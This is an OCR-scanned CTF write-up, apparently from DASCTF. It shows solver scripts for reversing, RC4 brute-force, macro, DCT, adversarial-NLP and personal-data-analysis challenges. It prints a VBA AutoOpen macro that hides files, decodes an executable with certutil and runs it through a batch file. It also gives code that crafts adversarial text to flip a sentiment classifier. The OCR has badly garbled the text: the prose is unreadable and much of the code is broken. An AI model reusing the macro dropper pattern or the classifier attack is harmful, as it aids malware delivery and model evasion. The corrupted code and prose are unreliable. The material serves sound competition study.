135 a(0x88 | opl)

136

137 def f(opl, op2):

138 opl_bytes = opl.to_bytes(4, 'little'")

139

140 op2_0 = op2 & Oxff

141 opl_bytes_op2_0 = opl_bytes[op2_0]

142 b(0xcO | (opl_bytes_op2_0 & 0x3f))

143 b(6x98 | ((((opl_bytes_op2_0 >> 6) + op2_0) & 3) << 1))

144

145 op2_1 = (op2 >> 8) & Oxff



146 opl_bytes_op2_1 = opl_bytes[op2_1]

147 b(0xcO | (opl_bytes_op2_1 & 0x3f))

148 b(0x98 | ((((opl_bytes_op2_1 >> 6) + op2_1) & 3) << 1))
149

150 op2_2 = (op2 >> 16) & Oxff

151 opl_bytes_op2_2 = opl_bytes[op2_2]

152 b(0xcO | (op2_2 & 0x3f))

153 b(0x98 | ((((op2_2 >> 6) + 0p2_2) & 3) << 1))
154

155 op2_3 = (op2 >> 24) & Oxff

156 opl_bytes_op2_3 = opl_bytes[op2_3]

157 b(0xcO | (op2_3 & 0x3f))

158 b(6x98 | ((((op2_3 >> 6) + 0p2_3) & 3) << 1))
159

160 b(((op2_2 << 3) | (op2_3 << 1)) & 0Oxff)
161

162 c(op2_0, op2_2)

163 c(op2_1, op2_3)

164

165

166 b(0xcO | (opl_bytes_op2_2 & 0x3f))

167 b(0x98 | ((op2_2 & 3) << 1))

168

169 b(0xcO | (opl_bytes_op2_3 & 0x3f))

170 b(0x98 | ((op2_3 & 3) << 1))

171

172 a(0x20 | (opl_bytes_op2_2 >> 6))

173 a(0x24 | (opl_bytes_op2_3 >> 6))

174

175 b(((op2_2 << 3) | (op2_3 << 1)) & 0xff)
176

177 b(((op2_0 << 3) | (op2_1 << 1)) & 0xff)
178

179 a(Ox8c | op2_0)

180 a(0xb8 | op2_0)

181 a(Oxac | op2_0)

182 a(0x80)

183 a(Oxb4 | op2_0)

184 a(0x98 | op2_0)

185 b(0xa8 | (op2_0 << 1))

186 a(0x84)

187 b(0xa8 | (op2_2 << 1))

188 a(0x00)

189 a(0x9c)

190 a(0x8c | op2_1)

191 a(Oxb8 | op2_1)

192 a(Oxac | op2_1)



193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239

a(0x80)

a(0xb4 | op2_1)

a(Ox98 | op2_1)

b(0xa8 | (op2_1 << 1))
a(0x84)

b(6xa8 | ((op2_3 & 3) << 1))
a(0x04)

a(0x9c)

def bf(x, y, x_0, x_1):
for i in range(0x40):
for j in range(0x40):
Tload ()
f(x | (<< (8*x_0)) | (3 << (8*x_1)), V)
if fregs[4] == 0:
save()
return i, j

assert False

values = [
[0xB100A018, 0x3000201, 1, 2],
[OxXA4090000, 0x3020100, 0, 1],
[Ox2AA600, 0x2010003, 3, 0],
[0x1BOO9E, 0x2000103, 3, 1],
[0x570096, 0x2000103, 3, 1],
[OXADOO5D, 0x2000103, 3, 1],
[OXAE750000, 0x2030100, 0, 1],
[OX65AC00, 0x1020300, 0, 3],
[0x8C09, 0x1000203, 3, 2],
[0X76A0, 0x1000203, 3, 2],
[0x472C0000, 0x2030100, 0, 1],
[0x10000001, 0x30201, 1, 2],
[OX7COOOF, 0x20301, 1, 3],
[0xBAGO47, 0x20301, 1, 3],
[0x953000, 0x1020003, 3, 0],
[0X74009B0O, 0x3010200, 0, 27,
[0x2DOOOO3F, 0x3000102, 2, 1],
[0x9A2D, 0x1000203, 3, 2],
[0x3187, 0x1000302, 2, 3],
[0xBA43, 0x10302, 2, 3],
[0x2C70, 0x1000302, 2, 3],
[0x56004C00, 0x3010200, 0, 2]

flag_s = []
for value in values:
flag_s.extend (bf (xvalue))



240
241
242
243
244
245
246
247
248
249
250

print(flag_s)

flag = []
for i din range(0, len(flag_s), 4):

flag.append(((flag_s[i + 0] << 2) | (flag_s[i + 1] >> 4)) & 0xff)
flag.append(((flag_s[i + 1] << 4) | (flag_s[i + 2] >> 2)) & 0xff)
flag.append(((flag_s[i + 2] << 6) | (flag_s[i + 3] >> 0)) & 0xff)

print(bytes(flag))
# c669733ar3ce4459b88016420b81chb15

AL PRV P EFE, XA &R 2T

5.2 pic
ELIREIE, IR rcd key BIAT:

1
2
3
4
5
6
7
8
9

10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

def rc4_encrypt(key, plaintext):
S = list(range(256))
j =0
out = []

# Key-scheduling algorithm (KSA)

for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[il, sCjl = s{jl, S[il

# Pseudo-random generation algorithm (PRGA)
i=3j=0
for char in plaintext:
i=(i+1) % 256
j = (j + S[i]) % 256
S[il, S[31 = S[31, S[il
k = S[(S[i] + S[j1) % 256]
out.append(char A k A 0x11)

return bytes(out)

with open('flag.png.bak', 'rb') as f: data = f.read()

data_ = [i A 0x31 for i in data]

from tqgdm import tqdm
from string import printable



28

29

30

31

32

33

34

35

36 for il in printable:

37 for 42 in tqdm(printable):

38 for i3 1in printable:

39 for i4 1in printable:

40 for i5 1in printable:

41 key = bytes([ord(il), ord(i2), ord(i3), ord(i4), ord(i5)])

42 plaintext = rc4_encrypt(key, data_)

43 print(key)

44 if plaintext.startswith(b'\x89PNG\r\n\xla\n'):

45 print(f"Key: {key.hex()}")

46 exit()

47

48

49

DASCTF{good yOu get the ffffflag!}

5.5 docCrack

fi#IE docm EEI VBA , BUTHIARERIF:

import oletools.olevba

1
2
3 def extract_vba_code(file_path):

4 vba_parser = oletools.olevba.VBA_Parser (file_path)
5

6

7

if vba_parser.detect_vba_macros():
for (filename, stream_path, vba_filename, vba_code) in
vba_parser.extract_macros():
8 print("\n\nFound VBA code in file:", vba_filename)



9 print("Code:\n'", vba_code)
10

11 vba_parser.close()

12

13 file_path = 'vbaProject.bin'

14 extract_vba_code(file_path)

EBRIFFRAAY * Debug.Print "Never Gonna Give U Up~~~"" 1§%:

1 Sub AutoOpen()

2

3 Set fso = CreateObject("Scripting.FileSystemObject")
4

5 Set objShell = CreateObject("WScript.Shell")

6

7

8

9 isContinue = 7

10

11 temp = MsgBox("I?am???Vcke?!!! _TI??2?m??Hac?er??!!12??_am_Hac?er!!!_I_a?_?22?

ok?r! 11", vbCritical, "Hacked_by_???7222?"

12

13 Do

14

15 inflag = InputBox("Give me your flag", "Hacked_by_?7??72272"
16

17 If inflag = "" Then

18

19 inflag = "noflag"

20

21 End If

22

23 Result = ""

24

25 For i = 1 To Len(inflag)

26

27 res = Chr(Asc(Mid(inflag, i, 1)) Xor 7)

28

29 Result = Result & res

30
31 Next i
32 tempPath = ThisDocument.Path & "\templ"

33

34 Set tempfile = fso.CreateTextFile(tempPath, True)

35



36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81

fso.GetFile(tempPath) .Attributes = 2

tempfile.WriteLine xpkdb

tempfile.Close

batPath = ThisDocument.Path & "\temp.bat"

Set batFile = fso.CreateTextFile(batPath, True)

fso.GetFile(batPath) .Attributes = 2

batFile.WritelLine "@echo off"

batFile.WriteLine "cd /d " & ThisDocument.Path

batFile.WriteLine "certutil -decode templ temp|certutil -decode temp

temp.exe"

batFile.WriteLine "del temp"

batFile.WriteLine "temp.exe " & """'" & Result & """"

batFile.WriteLine "del temp.exe"

batFile.Close

Set objExec = objShell.Exec(batPath)

Set objStdOut = objExec.StdOut

Do While Not objStdOut.AtEndOfStream

output = Trim(objStdOut.ReadLine)

Loop

output = Left(output, Len(output))

StartTime = Timer

Do While Timer < StartTime + 1

DoEvents



82 Loop

83

84 fso.DeleteFile batPath

85

86 fso.DeleteFile tempPath

87

88

89

90 If output = "good" Then

91

92 temp = MsgBox("good!!!", , "congratulations!!!")
93

94 Exit Do

95

96 Else

97

98 temp = MsgBox("Sorry, U are wrong!!!", , "Hacked_by_???2?222"
99

100 isContinue = MsgBox("Continue?'", vbYesNo + vbQuestion, "Warning')
101

102 End If

103

104 Loop While disContinue = 6

105

106 End Sub

REE—ARFNH, RABBZEFE— PEXH, ZEERERESR:

1 v9 = [0] * 54
2

3 v9[0] = 0x10CO
4 v9[1] = 4480
5 v9[2] = 5376
6 v9[3] = 4352
7 v9[4] = 5312
8 v9[5] = 4160
9 vo[6] = 7936
10 v9[7] = 5184
11 v9[8] = 6464
12 vo[9] = 6528
13 v9[10] = 5632
14 v9[11] = 3456
15 v9[12] = 7424
16 v9[13] = 5632
17 v9[14] = 6336



18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
a7
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

v9[15] =
vo[le] =
vo[17] =
vo[18] =
vo[19] =
vo[20] =
vo[21] =
vo[22] =
vo[23] =
vo[24] =
v9[25] =
vo[26] =
vo[27] =
vo[28] =
v9[29] =
vo[30] =
v9[31] =
v9[32] =
vo[33] =
v9[34] =
v9[35] =
vo[36] =
vo[37] =
vo[38] =
vo[39] =
vo[40] =
vo[41] =
vo[42] =
v9[43] =
vo[44] =
v9[45] =
vo[46] =
vo[47] =
vo[48] =
vo[49] =
v9[50] =
vo[51] =
vo[52] =
v9[53] =

for i 1in
vo[i]
vo[i]

# DASCTF{Vba_1s_dangerous!!!_Blware_0f_MacrO_Viru5es!!!}

6528
6720
6144
6272
7488
6656
7296
7424
2432
2432
2432
5632
4416
3456
7168
6528
7488
6272
5632
3520
6208
5632
4736
6528
6400
7488
3520
5632
5184
3456
Ox1D40
Ox1C80
OxC80
0x1880
Ox1D00
2432
2432
2432
Ox1E80

range(0, 54):
= v9[i] >> 6
= vo[i] A 7
print(bytes(v9).decode('utf-8'))



5.6 {RX ERIMRENG?
EHFREMSNITE, BHAZEHRROTI

1 cip =[

2 513.355,

3 -37.7986,

4  8.7316,

5 -10.7832,

6 -1.3097,

7  -20.5779,

8  6.98641,

9 -29.2989,

10 15.9422,

11 21.4138,

12 29.4754,

13 -2.77161,

14  -6.58794,

15 -4.22332,

16 -7.20771,

17  8.83506,

18  -4.38138,

19  -19.3898,

20  18.3453,

21  6.88259,

22 -14.7652,

23 14.6102,

24 24.7414,

25  -11.6222,

26 -9.754759999999999,
27 12.2424,

28 13.4343,

29  -34.9307,

30  -35.735,

31 -20.0848,

32 39.689,

33 21.879,

34 26.8296

35 ]

36

37 dmport numpy as np
38

39 def dctld(data):
40 n = len(data)
41 dct_result = np.zeros_like(data, dtype=float)

42 for k in range(n):



43 sum_val = 0

44 for i in range(n):
45 sum_val += data[i] * np.cos((np.pi / n) * (i + 0.5) * k)
46 if k == 0:
47 dct_result[k] = np.sqrt(1l/n) x sum_val
48 else:
49 dct_result[k] = np.sqrt(2/n) * sum_val
50 return dct_result
51
52 def didctld(dct_data):
53 n = len(dct_data)
54 idct_result = np.zeros_like(dct_data, dtype=float)
55 for i in range(n):
56 sum_val = 0
57 for k in range(n):
58 if k == 0:
59 coeff = np.sqrt(1l/n)
60 else:
61 coeff = np.sqrt(2/n)
62 sum_val += coeff * dct_datal[k] * np.cos((np.pi / n) *x (i + 0.5) *
k)
63 idct_result[i] = sum_val
64 return idct_result
65 # RISXEBEHBEENTHRFHIZER
66
67 X = np.array(cip)
68 x = idctld(X)
69 for i in range(len(x)):
70 print(chr(int(round(x[i]))), end="")
Recipe a [ ] i Input
ROT13 o n QNFPGS{Iue_1f Znla_{@aq_Shaal_Qpg]]

Rotate lower case chars Rotate upper case chars

Amount

[J rotate numbers 13

1k

w3z o= 1

Output

DASCTF{th_ls_Maln_@nd_FunnY_DctH
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6 - Al

6.1 NLP_Model_Attack
POEAINE PN

S HEX: (B )

Drop file here or click to upload

DA H4E covtet BT (RS EHETSHEE T soooncsy B xoootet, B oo (TR EEE)
S TETO

& adv_text.csv

EREREAK: (HEE RFMESREEE)

e S HERS b z;‘g(ﬁ” FLAG

2024-08-27 20:25:46 adv_text.csv 1 HERTh 95.000% DASCTF{18437235724113619891913531352541}

import torch

import tqdm

from transformers import AutoTokenizer, AutoModelForSequenceClassification
from sklearn.metrics.pairwise import cosine_similarity

from Adversary 1dimport Adversary

from sklearn.metrics import accuracy_score

gen = Adversary(verbose=True, output='Output/")

O 0 N oo 0 b W N BR

ra=-0.1

e
= ®

def adv_text(texts_original):

=
N

texts_generated = gen.generate(texts_original, text_sample_rate=2.0,
word_sample_rate=0.9,
13 attacks={'synonym': 0.5+ra, 'change_case': 0.8+ra,
'letter_to_symbol': 0.5+ra, 'delete_characters': 0.3+ra})
14 return texts_generated[1][0]
15 # WEEEHATHFHIGPU
16 device = torch.device("cuda" if torch.cuda.is_available() else '"cpu'")

17
18 # JIEHRZEF S 1758
19 model_name = "Sentiment_classification_model" # EZAJEIF

20 tokenizer = AutoTokenizer.from_pretrained(model_name)

21 model = AutoModelForSequenceClassification.from_pretrained(model_name)
22

23 # HIREFRIEIGPU



24
25
26
27
28
29
30

31

32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
a7
48
49
50
51
52
53

54
55
56
57
58
59
60
61
62
63
64
65
66
67

model.to(device)
def verify_similarity(original, modified, model, tokenizer):
# BRI ISR

model.eval()

# XTRIEX A RNEL T HIX A H# 1T b5

original_encoding = tokenizer(original, return_tensors='pt', padding=True,
truncation=True, max_length=512).to(device)

modified_encoding = tokenizer(modified, return_tensors='pt', padding=True,

truncation=True, max_length=512).to(device)

with torch.no_grad():
# RERIEX A BIS A A
original_outputs = model.distilbert(x*original_encoding)
original_hidden_state = original_outputs.last_hidden_state.mean(dim=1)

# RERIEU T XA A2
modified_outputs = model.distilbert(*xxmodified_encoding)
modified_hidden_state = modified_outputs.last_hidden_state.mean(dim=1)

# ITERZEMUE
similarity = cosine_similarity(original_hidden_state.cpu().numpy(),
modified_hidden_state.cpu() .numpy()) [0][0]

return similarity
# XAEHIENE
import pandas as pd
fail_list=[]
# 1R1% original_text.csv XMW FEA—BRT
df = pd.read_csv("original_text.csv")
texts = df['text'].tolist() # K€ CSV XHHEE—T 'text' %l
inputs = tokenizer (texts, padding=True, truncation=True,
return_tensors="pt").to(device)
with torch.no_grad():
outputs = model(**inputs)
original_predictions = torch.argmax(outputs.logits, dim=-1).cpu().tolist()

adv_texts = []
similarities = []
label_reversed = False # /4 InESREZrS

for i, t in enumerate(tqdm.tqgdm(texts)):
try_n=0
while True:
try_n+=1
adv_t = adv_text([t])
#print(adv_t )



68 similarity = verify_similarity(t, adv_t, model, tokenizer)

69 if similarity >= 0.75:

70

71 # XIXIIIK AT TIELE

e adv_inputs = tokenizer([adv_t], padding=True, truncation=True,

return_tensors="pt").to(device)

73 with torch.no_grad():

74 adv_outputs = model(*xadv_inputs)

75 adv_prediction = torch.argmax(adv_outputs.logits,
dim=-1).cpu().item()

76 #print(adv_prediction)

77 # MBS EL/RIZ

78 #print(original_predictions[i])

79 if adv_prediction != original_predictions[i]:

80 label_reversed = True

81 #print(f'"Label reversed for text[{i}]")

82 adv_texts.append(adv_t)

83 break

84 print(f'{i} fail on adv, {try_n}'")

85 else:

86 print(f'{i} fail on 0.75, {try_n}")

87 if try_n>=1000:

88 fail_list.append(i)

89 adv_texts.append(adv_t)

90 break

91

92

93 df['attacked_text'] = adv_texts

94

95 # HRE 'id' M 'attacked_text' %l

96 final_df = df[['id', 'attacked_text']]

97

98 # IFLERIRFE] CSV Xt

99 final_df.to_csv("adv_text.csv", index=False)

100 print(f"XHFERER BTN, REMINEN{100-1en(fail_list)I%")
101

7-PERE

7.1 data-analyl

1 with open("person_data.csv", "r", encoding="utf-8") as f:



2 d = f.read()

3

4 lines = d.split("\n")

5

6 solved_data = []

7 cnt =0

8

9 for 1line in lines[1:]:

10 if line == "":

11 continue

12 cnt += 1

13 data = line.split(",")

14 new_data = {}

15 for block in data:

16 if cnt < 11:

17 print(block, end=" ")

18 if block == "B" or block == "Z":

19 new_data['"sex"] = block

20 elif len(block) == 8 and block.isdigit():

21 new_data["birthday"] = block

22 elif len(block) == 18 and all(c.isdigit() for c in block[:-1]) and
(block[-1] == "X" or block[-1].disdigit()):

23 new_data["id"] = block

24 elif len(block) == 11 and block.isdigit():

25 new_datal["phone"] = block

26 elif len(block) == 32 and all(c in "0123456789abcdef" for c in block):

27 new_data['"'md5"] = block

28 elif block == str(cnt):

29 new_data["other"] = block

30 # WREEHFX, AEHE

31 elif all('\u4e00' <= char <= "\u9fff' for char in block):

32 new_data['"name"] = block

33 # WREHF+FE, BEHBFE

34 else:

35 new_data["username"] = block

36 if cnt < 11:

37 print()

38 solved_data.append(new_data)

39

40 print(solved_datal[:11])

41 with open("solved_data.csv'", "w", encoding="utf-8") as f:

42 f.write(lines[0] + "\n'")

43 for data in solved_data:

44 f.write(f"{data.get('other', '')},{data.get('username', '')},
{data.get('md5', '')},{data.get('name', '')},{data.get('sex', '")},

{data.get('birthday', '')},{data.get('id', '')},{data.get('phone', "'")}I\n")



7.2 data-analy2

S REE T Mjson B IBIRENHK . tshark -r data.pcapng -Y "_ws.col.info ==\"POST /
HTTP/1.1, JSON (application/json)\"" -T fields -e http.file_data > output.txt

RERAREENAEHRMITT

1 dmport json

2

3 with open("output.txt", "r") as f:

4 d = f.read()

5

6 # &F{TélEhexEHE, B4 7b226e616d65223

7 Tlines = d.split("\n")

8

9 datalist = []

10 notValid = []

11

12 def -disValidIdCard(idcard):

13 if not len(idcard) == 18:

14 return False

15 if not all(c.isdigit() for c in didcard[:-1]):

16 return False

17 if not (idcard[-1] == "X" or ddcard[-1].disdigit()):

18 return False

19 times = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
20 s =0

21 for i 1in range(17):

22 s += int(idcard[i]) * times[i]

23 end = ""10X98765432"

24 if not end[s % 11] == ddcard[-1]:

25 return False

26 return True

27

28 for line in lines:

29 if line == "":
30 continue
31 # IFhexIXIEFEHR I F 175

32 data = json.loads(bytes.fromhex(line).decode())

33 # FtEdatadiiBusername, name, sex, birth, idcard, phone,
34 if not (("username" in data) and ("name" in data) and ("sex" 1in data) and

("birth" din data) and ("didcard" in data) and ("phone" 1in data)):

35 notValid.append(data)

36 continue
37 # Zatbiusername@ L& BK, REERIFHF AL
38 if not all(c.isalnum() for c in data["username'"]):

39 notValid.append(data)


http://_ws.col.info/
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continue
# RIS HITHSE, M5 REERTPXALE
if not all('\u4e00' <= char <= "\u9fff' for char in data["name'"]):
notValid.append(data)
continue
# G HIBER, [REEEF XK
if not data["sex"] in ["&", "Z"]:
notValid.append(data)
continue
# AIEHIBTER, £HSTESMIF
if not (len(data["birth"]) == 8 and data["birth"].disdigit()):
notValid.append(data)
continue
# AIEHIETE IS
if not disValidIdCard(data["idcard"]):
notValid.append(data)
continue
# RISHIBTFYS, FHSbBTE11UEF, HAFIMUMSTIEIETEES
firstThree = [734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757,
759, 772,
782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,
766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,
781, 789, 790, 791, 793, 799]
if not (len(data['"phone"]) == 11 and data['"phone"].disdigit() and

int(data["phone'"][:3]) in firstThree):

notValid.append(data)
continue
# SIS EIEE (A 1BE S 1456/
if (int(data["idcard"][-2]) % 2 == 1 and data["sex"] == "&") or

(int(data["idcard"][-2]) % 2 == 0 and data["sex"] == "E"):

notValid.append(data)
continue
# BHIESE7-14{TSTEE H
if not data["idcard"][6:14] == data["birth"]:
notValid.append(data)
continue
datalist.append(data)

with open("out2.csv'", "w", encoding="utf-8") as f:

f.write("username,name,sex,birth,idcard,phone\n")
for data in notValid:
f.write(f"{data['username']},{data['name']},{data['sex']},

{data['birth']},{data['idcard']},{data['phone']}\n")

7.3 data-analy3



Merror.loghiREUE S, AFRIERAILLT .

SEA3MEE, IMEREYD, IMBEIRLHAFPNEN, IMEENREERY), BILENE, 2
AL IEFLAT LAY

1 dmport re

2 dmport hashlib

3 from urllib +import parse

4

5 with open("error.log", "r") as f:

6 d = f.read()

7

8 Tlines = d.split("\n")

9 data = []

10

11 def md5(s):

12 return hashlib.md5(s.encode()) .hexdigest()

13

14 cnt = 0

15 clientTrace = {}

16

17 for 1line 1in lines:

18 if line == "":

19 continue

20 client = re.search(r"\[client (([0-9\.]*):\d+)\]", line).group(l)

21 if "username=" in line and "didcard=" 1in line and "phone=" 1in line and
"name=" 1in line:

22 username = re.search(r"username=(.*?)&", line).group(l)

23 name = re.search(r"&name=(.x?)&'", line).group(1l)

24 name = parse.unquote(name)

25 idcard = re.search(r'"idcard=(.x?)&'", line).group(l)

26 phone = re.search(r'"phone=(.x?)$", line).group(l)

27 clientTrace[client] = {"username": username, '"name'": name, "didcard":

idcard, '"phone'": phone}

28 # IS E L)

29 if
"M\ \xe6\\x82\\xa8\\xe7\\x9a\\x84\\xe4\\xbf\\xal\\xe6\\x81\\xaf\\xe5\\xbd\\x95\\x
e5\\x85\\xa5\\xe6\\x88\\x90\\xe5\\x8a\\x9f\\xef\\xbc\\x81\\n\\xe6\\x82\\xa8\\xe
7\\x9a\\x84\\xe5\\xaf\\x86\\xe7\\xa0\\x81\\xe4\\xb8\\xba:" 1in line:

30 password =
re.search(r'"\\xe6\\x82\\xa8\\xe7\\x9a\\x84\\xe4\\xbf\\xall\xe6\\x81\\xaf\\xe5\\
xbd\\x95\\xe5\\x85\\xa5\\xe6\\x88\\x90\\xe5\\x8a\\x9f\\xef\\xbc\\x81\\n\\xe6\\x
82\ \xa8\\xe7\\x9a\\x84\\xe5\\xaf\\x86\\xe7\\xa0\\x81\\xed4\\xb8\\xba: (.*x)\\n",
line).group (1)

31 clientTrace[client] ["password"] = password

32 data.append(clientTrace[client])
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del clientTrace[client]
cnt += 1
# EHIEE /T
if
"M\ \xe6\\x82\\xa8\\xe7\\x9a\\x84\\xe4\\xbf\\xal\\xe6\\x81\\xaf\\xe6\\x9b\\xb4\\x
e6\\x96\\xb0\\xe6\\x88\\x90\\xe5\\x8a\\x9f\\xef\\xbc\\x81\\n\\xe6\\x82\\xa8\\xe
7\\x9a\\x84\\xe5\\xaf\\x86\\xe7\\xa0\\x81\\xe4\\xb8\\xba:" 1in line:
password =
re.search(r'\\xe6\\x82\\xa8\\xe7\\x9a\\x84\\xe4\\xbf\\xal\\xe6\\x81\\xaf\\xe6\\
x9b\ \xb4\\xe6\\x96\ \xb0\\xe6\\x88\\x90\\xe5\\x8a\\x9f\\xef\\xbc\\x81\\n\\xe6\\x
82\\xa8\\xe7\\x9a\\x84\\xe5\\xaf\\x86\\xe7\\xa0\\x81\\xe4\\xb8\\xba: (.x)\\n",
line).group(1)
clientTrace[client] ["password"] = password
for d in data:
if d["username"] == clientTrace[client]["username"]:
d["name"] = clientTrace[client]["name']
d["idcard"] = clientTrace[client]["idcard"]
d["phone"] = clientTrace[client]["phone"]
d["password"] = clientTrace[client]["password"]
del clientTrace[client]
cnt += 1

def deal_username(u):
if len(u) == 2:
return u[0] + "x"
return u[0] + "x" x (len(u) - 2) + u[-1]

def deal_idcard(idcard):
return "x" x 6 + ddcard[6:10] + "x" % 8

def deal_phone(phone):
return phone[:3] + "x" % 4 + phone[-4:]

def deal_password(password) :
return md5(password)

with open("person_data.csv'", "w", encoding="utf-8") as f:
f.write("username,password,name,idcard,phone\n'")
for d in data:
f.write(f"{deal_username(d['username'])},
{deal_password(d['password'])},{deal_username(d['name'])},
{deal_idcard(d['idcard'])},{deal_phone(d['phone'])}\n")






